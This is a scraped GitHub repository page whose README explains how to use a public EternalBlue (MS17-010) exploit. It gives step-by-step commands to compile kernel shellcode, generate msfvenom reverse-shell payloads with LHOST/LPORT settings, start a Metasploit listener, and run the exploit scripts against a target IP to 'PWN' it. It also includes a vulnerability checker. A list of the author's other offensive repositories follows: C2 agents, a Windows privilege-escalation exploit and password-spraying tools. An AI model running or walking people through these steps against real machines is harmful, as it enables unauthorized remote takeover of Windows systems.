• Stars
    star
    1,133
  • Rank 41,104 (Top 0.9 %)
  • Language
    Python
  • License
    MIT License
  • Created almost 7 years ago
  • Updated 11 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

This is just an semi-automated fully working, no-bs, non-metasploit version of the public exploit code for MS17-010

MS17-010 Exploit Code

This is some no-bs public exploit code that generates valid shellcode for the eternal blue exploit and scripts out the event listener with the metasploit multi-handler.

This version of the exploit is prepared in a way where you can exploit eternal blue WITHOUT metasploit. Your options for auto shell generation are to generate shellcode with msfvenom that has meterpreter (i.e. with metasploit) or to generate a normal windows cmd shell (i.e. without metasploit). You may also select between staged and stageless payloads if you wish to avoid utilizing the msfconsole entirely and use netcat/your own shell handler. Alternatively you can elect to brew in your own shellcode.

This allows for this version of the MS17-010 exploit to be a bit more flexible, and also fully functional, as many exploits leave out the steps to compile the kernel shellcode that usually comes with it.

Included is also an enternal blue checker script that allows you to test if your target is potentially vulnerable to MS17-010

run python eternal_checker.py <TARGET-IP>

Requirements

Core exploit code requires impacket and the mysmb.py library (included with the repo). To install any requirements simply use pip on the requirements.txt file. It's always recommended you use a virtual environment like venv when installing python dependencies, but use whatever you like.

Additionally, the helper scripts below require the Metasploit Framework to be installed. At minimum you will need msfvenom for the shell_prep.sh but stageless command shells can be caught like any normal command shell without the use of Metasploit's multi/handler. Otherwise, simply install the metasploit framework and insure it is in your path.

IMPORTANT SUPPORT INFO:

Keep in mind python2 is not officially supported anymore. The original exploit code that is provided was initially built for python2, going forward any errors discovered will be adjusted for insuring the code works with python3 instead of python2. Instructions below assume python/pip are python3 by default, so if you are using python2 update based on your own paths when necessary and remember, it is NOT officially supported by this repo.

Python2

pip2.7 install -r requirements.txt

Python3

pip install -r requirements.txt

TODO:

  • Validate python3 compatibility
  • Testing with non-msfvenom shellcode

VIDEO TUTORIALS:

USAGE:

Navigate to the shellcode directory in the repo:

run ./shell_prep.sh

Follow the prompts, for example:

                 _.-;;-._
          '-..-'|   ||   |
          '-..-'|_.-;;-._|
          '-..-'|   ||   |
          '-..-'|_.-''-._|   
Eternal Blue Windows Shellcode Compiler

Let's compile them windoos shellcodezzz

Compiling x64 kernel shellcode
Compiling x86 kernel shellcode
kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n)
y
LHOST for reverse connection:
<YOUR-IP>
LPORT you want x64 to listen on:
<SOME PORT>
LPORT you want x86 to listen on:
<SOME OTHER PORT>
Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
0

After the script finishes there will be a shellcode binary named sc_all.bin in the shellcode directory

Next, navigate to the main repo directory:

run listener_prep.sh

Follow the prompts, for example:

 /,-
  ||)
  \\_, )
   `--'
Enternal Blue Metasploit Listener

LHOST for reverse connection:
<YOUR-IP>
LPORT for x64 reverse connection:
<SOME PORT>
LPORT for x86 reverse connection:
<SOME OTHER PORT>
Enter 0 for meterpreter shell or 1 for regular cmd shell:
0
Starting listener...

PWN:

If you have completed the USAGE steps, now you're ready to PWN the target.

run:

python eternalblue_exploit7.py <TARGET-IP> <PATH/TO/SHELLCODE/sc_all.bin> <Number of Groom Connections (optional)>

Alternatively you may use zzz_exploit.py which is an implementation of the "Eternal" family that uses the same technique from Eternal Romance, Synergy, and Champion.

This is not setup to send back a reverse shell or execute any sort of payload like Eternal Blue is. This uses the functions from mysmb.py to spawn a semi-interactive cmd shell. There are commented out sections of code that can be modified to interact with metasploit or send of custom payloads using the service_exec() function call.

All of the code execution functionality can be found in the do_system_mysmb_session() function.

This version of the exploit is great for targeting systems that have named pipes available to avoid crashing the target.

run:

python zzz_exploit.py <TARGET-IP>

Enternal Blue has only been tested on Windows 7/Server 2008, and Windows 10 10240 (x64)

zzz has only been tested on Windows XP

However the Eternal Blue exploits included in this repo also include support for Windows 8/Server 2012 and should work.

The zzz exploit should also work on all targets provided you have access to a named pipe. For some OS's (Windows 10) this may also require credentials of a user who can access this named pipe (This is because on newer versions, Guest and NULL sessions are not supported out of the box).

The original exploit code that this repo pulls from is located here: https://github.com/worawit/MS17-010

More Repositories

1

KaliLists

Repo of all the default wordlists included in Kali. Convienent if you're using something other than Kali.
HTML
203
star
2

socat

Mirror of the socat source code with pre-built releases for Linux (x64 and x86), Windows (x64 and x86), and MacOS (x64)
C
200
star
3

Win10-LPE

The Windows 10 LPE exploit written by SandboxEscaper
C
103
star
4

spraygen

Password list generator for password spraying - prebaked with goodies
Python
92
star
5

Offensive-Security-Engineering-Udemy

Various course materials, scripts, and configurations from my Offensive Security Engineering Course on Udemy
HCL
53
star
6

torphantom

A fork of TorGhost, a little utilitly used to route all traffic through TOR.
Python
52
star
7

CVE-2020-3452-Exploit

Just basic scanner abusing CVE-2020-3452 to enumerate the standard files accessible in the Web Directory of the CISCO ASA applicances.
Shell
23
star
8

BadSalt

A repo containing some stagers and setup scripts for configuring Salt Stack to be a "bad"-ass C2
Shell
18
star
9

AgentSmith

Golang C2 Agent PoC utilizing web and social media paltforms to issue command and control and pasting results to PasteBin
Go
12
star
10

CVE-2016-6415-BenignCertain-Monitor

Re-implementation of VirtueSecurity's benigncertain-monitor
Python
10
star
11

binary_exploitation

Notes and goodies to make binary exploitation life easier
9
star
12

Gortscanner

Simple port scanner rewritten in go
Go
7
star
13

liferay-xss-7.2.1GA2-poc-report-CVE-2020-7934

Authenticated Stored XSS in LifeRay 7.2.0 GA1 via MyAccountPortlet executed by Search Results
JavaScript
6
star
14

ghostcat

Ghostcat LFI PoC
Python
3
star
15

AdTran-Personal-Phone-Manager-Vulns

A repository hosting write ups for the 0 days CVE-2021-25679, CVE-2021-25680, and CVE-2021-25681
3
star
16

Mongo-Scanner

Simple python script to banner grab a mongodb instance for enum
Python
3
star
17

configs

Any nice house keeping/theming dotfiles/configs and setup scripts for things like Bash, Xresources, VIM, and Tmux (etc...)
Python
2
star
18

WebCTRL-OperatorLocale-Parameter-Reflected-XSS

WebCTRL Reflected XSS Vulnerability in the locale GET Parameter
2
star
19

BBS-Website

Website For Black Box Society
Python
2
star
20

MegaList

Script to build my mega word list
Shell
2
star
21

VagrantSec

A repo for any headless VMs that I usually run inside of macOS
Ruby
1
star
22

Simple-Port-Scanner

Simple Port Scanner written in python3
Python
1
star
23

Font

A collection of my favorite fonts
1
star
24

spray_wrapper

Wrapper for spray tools that are awesome, but can't count/delay to save their lives
Python
1
star
25

3ndG4me.github.io

HTML
1
star
26

3ndG4me-Arch

Some nice notes, scripts, helper files, etc... to make setting up my ideal Arch Linux config ez pz
Python
1
star
27

Wallpapers

A collection of my favorite wallpapers
1
star
28

go_http_network_service

Go
1
star